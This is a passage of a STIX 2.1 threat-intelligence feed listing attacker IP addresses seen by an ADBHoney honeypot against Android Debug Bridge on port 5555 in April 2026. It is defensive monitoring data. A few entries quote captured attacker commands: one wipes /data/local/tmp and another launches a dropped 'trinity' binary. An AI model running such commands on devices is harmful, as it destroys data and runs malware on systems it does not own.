      "valid_from": "2026-04-04T09:00:03.000Z",
      "valid_until": "2026-05-06T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-04T08:37:31.000Z",
          "last_seen": "2026-04-04T08:38:33.794Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-04T08:38:42.000Z | last_seen=2026-04-04T08:48:48.902Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:00:03.000Z",
      "valid_until": "2026-05-06T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-04T08:38:42.000Z",
          "last_seen": "2026-04-04T08:48:48.902Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T10:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=33; ports=5555; cc=TW; asn=3462; asn_org=Data Communication Business Group; cats=Generic Protocol Command Decode; adb_cmd_hits=12; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=66 | first_seen=2026-04-04T09:58:33.000Z | last_seen=2026-04-04T10:11:42.685Z | ports=5555 | cc=TW | asn=3462 | org=Data Communication Business Group | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--d02197a9-0f0d-4a6f-a1de-32da06f9cdaf",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.165.105.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:00:10.000Z",
      "valid_until": "2026-05-06T10:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 66,
          "first_seen": "2026-04-04T09:58:33.000Z",
          "last_seen": "2026-04-04T10:11:42.685Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "3462"
          ],
          "org": [
            "Data Communication Business Group"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-04T11:34:32.000Z | last_seen=2026-04-04T11:35:36.134Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--772f2b4a-df22-4235-b5c3-393867a52630",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.40.62.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T12:00:02.000Z",
      "valid_until": "2026-05-06T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-04T11:34:32.000Z",
          "last_seen": "2026-04-04T11:35:36.134Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=GB; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=18 | first_seen=2026-04-04T12:39:23.000Z | last_seen=2026-04-04T22:09:50.451Z | ports=5555 | cc=GB | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--24bc892a-b892-4c35-b724-12fbe35554b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:00:01.000Z",
      "valid_until": "2026-05-06T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 18,
          "first_seen": "2026-04-04T12:39:23.000Z",
          "last_seen": "2026-04-04T22:09:50.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=GB; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-04T12:39:17.000Z | last_seen=2026-04-04T12:55:15.755Z | ports=5555 | cc=GB | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--742181d2-7486-4bcd-bbaf-4e4f6ad38c30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:00:01.000Z",
      "valid_until": "2026-05-06T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-04T12:39:17.000Z",
          "last_seen": "2026-04-04T12:55:15.755Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T13:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=GB; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-04T12:39:28.000Z | last_seen=2026-04-04T22:19:30.772Z | ports=5555 | cc=GB | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--7f942ca5-bb66-4627-a698-3522c0ae9bda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T13:00:01.000Z",
      "valid_until": "2026-05-06T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-04T12:39:28.000Z",
          "last_seen": "2026-04-04T22:19:30.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-04T15:47:19.000Z | last_seen=2026-04-04T15:48:20.224Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--40a6e696-3438-4f97-bc99-54ca290f243a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.237.155.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:00:02.000Z",
      "valid_until": "2026-05-06T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-04T15:47:19.000Z",
          "last_seen": "2026-04-04T15:48:20.224Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=30; ports=5555; cc=CN; asn=137266; asn_org=CHINATELECOM Hubei province Wuhan 5G network; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=30 | first_seen=2026-04-04T15:31:53.000Z | last_seen=2026-04-04T15:47:01.629Z | ports=5555 | cc=CN | asn=137266 | org=CHINATELECOM Hubei province Wuhan 5G network | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
      "id": "indicator--94004772-2939-490e-a856-307b8ddc929e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '27.19.232.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T16:00:02.000Z",
      "valid_until": "2026-05-06T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 30,
          "first_seen": "2026-04-04T15:31:53.000Z",
          "last_seen": "2026-04-04T15:47:01.629Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "137266"
          ],
          "org": [
            "CHINATELECOM Hubei province Wuhan 5G network"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-04T19:10:09.000Z | last_seen=2026-04-04T19:21:31.619Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--f0a2b573-95a3-4823-b7cc-0718d01533e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:00:03.000Z",
      "valid_until": "2026-05-06T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-04T19:10:09.000Z",
          "last_seen": "2026-04-04T19:21:31.619Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=175 | first_seen=2026-04-04T19:26:36.000Z | last_seen=2026-04-26T08:47:38.059Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:00:03.000Z",
      "valid_until": "2026-05-06T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 175,
          "first_seen": "2026-04-04T19:26:36.000Z",
          "last_seen": "2026-04-26T08:47:38.059Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-04T21:14:57.000Z | last_seen=2026-04-04T21:16:05.467Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
      "id": "indicator--c4196c63-6629-471c-bd00-15c538eb6f50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:00:02.000Z",
      "valid_until": "2026-05-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-04T21:14:57.000Z",
          "last_seen": "2026-04-04T21:16:05.467Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CL; asn=7418; asn_org=TELEFONICA CHILE S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T21:05:29.000Z | last_seen=2026-04-04T21:15:30.665Z | ports=5555 | cc=CL | asn=7418 | org=TELEFONICA CHILE S.A.",
      "id": "indicator--6a4173a0-1e4a-4dbd-85ca-fc24eb67cda3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '186.79.130.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:00:02.000Z",
      "valid_until": "2026-05-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T21:05:29.000Z",
          "last_seen": "2026-04-04T21:15:30.665Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CL"
          ],
          "asn": [
            "7418"
          ],
          "org": [
            "TELEFONICA CHILE S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MA; asn=36903; asn_org=MT-MPLS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T21:24:55.000Z | last_seen=2026-04-04T21:34:58.244Z | ports=5555 | cc=MA | asn=36903 | org=MT-MPLS",
      "id": "indicator--0596e4a9-6ce7-444c-8c25-40c540e990ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '196.75.113.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:00:02.000Z",
      "valid_until": "2026-05-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T21:24:55.000Z",
          "last_seen": "2026-04-04T21:34:58.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MA"
          ],
          "asn": [
            "36903"
          ],
          "org": [
            "MT-MPLS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T21:37:15.000Z | last_seen=2026-04-04T21:47:22.770Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--f4377c5a-1ccf-4c5a-ab88-24b05a88a417",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.35.144.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:00:02.000Z",
      "valid_until": "2026-05-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T21:37:15.000Z",
          "last_seen": "2026-04-04T21:47:22.770Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T23:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=GB; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-04T22:03:26.000Z | last_seen=2026-04-04T22:19:20.833Z | ports=5555 | cc=GB | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--43c87f48-ab77-4b7c-b809-461fc5198637",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:00:23.000Z",
      "valid_until": "2026-05-06T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
